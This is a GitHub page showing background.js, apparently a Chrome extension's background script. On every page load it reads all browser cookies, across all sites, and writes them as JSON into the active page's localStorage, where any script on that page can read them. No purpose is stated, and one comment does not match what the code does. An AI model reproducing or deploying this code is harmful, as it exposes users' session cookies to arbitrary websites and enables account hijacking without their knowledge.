-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbackground.js
24 lines (24 loc) · 962 Bytes
/
background.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var tabList = [];
// On update adding event listener
chrome.tabs.onUpdated.addListener(function (tabId , info) {
if (info.status === 'complete') {
// Query for available tabs
chrome.tabs.query({active: true, currentWindow: true}, tabs => {
// Fetching all cookies available in current window
chrome.cookies.getAll({path: "/"}, (cookies) => {
// Execute script to store cookies in local storage
chrome.scripting.executeScript({
target: {tabId: tabs[0].id, allFrames: true},
args: [JSON.stringify(cookies)],
func: (cookies) => {
localStorage.setItem("allCookies", cookies);
}
});
});
});
}
})
// Check if any invalid tabs available
chrome.tabs.query({active: true, currentWindow: true}, tabs => {
tabList = tabs;
});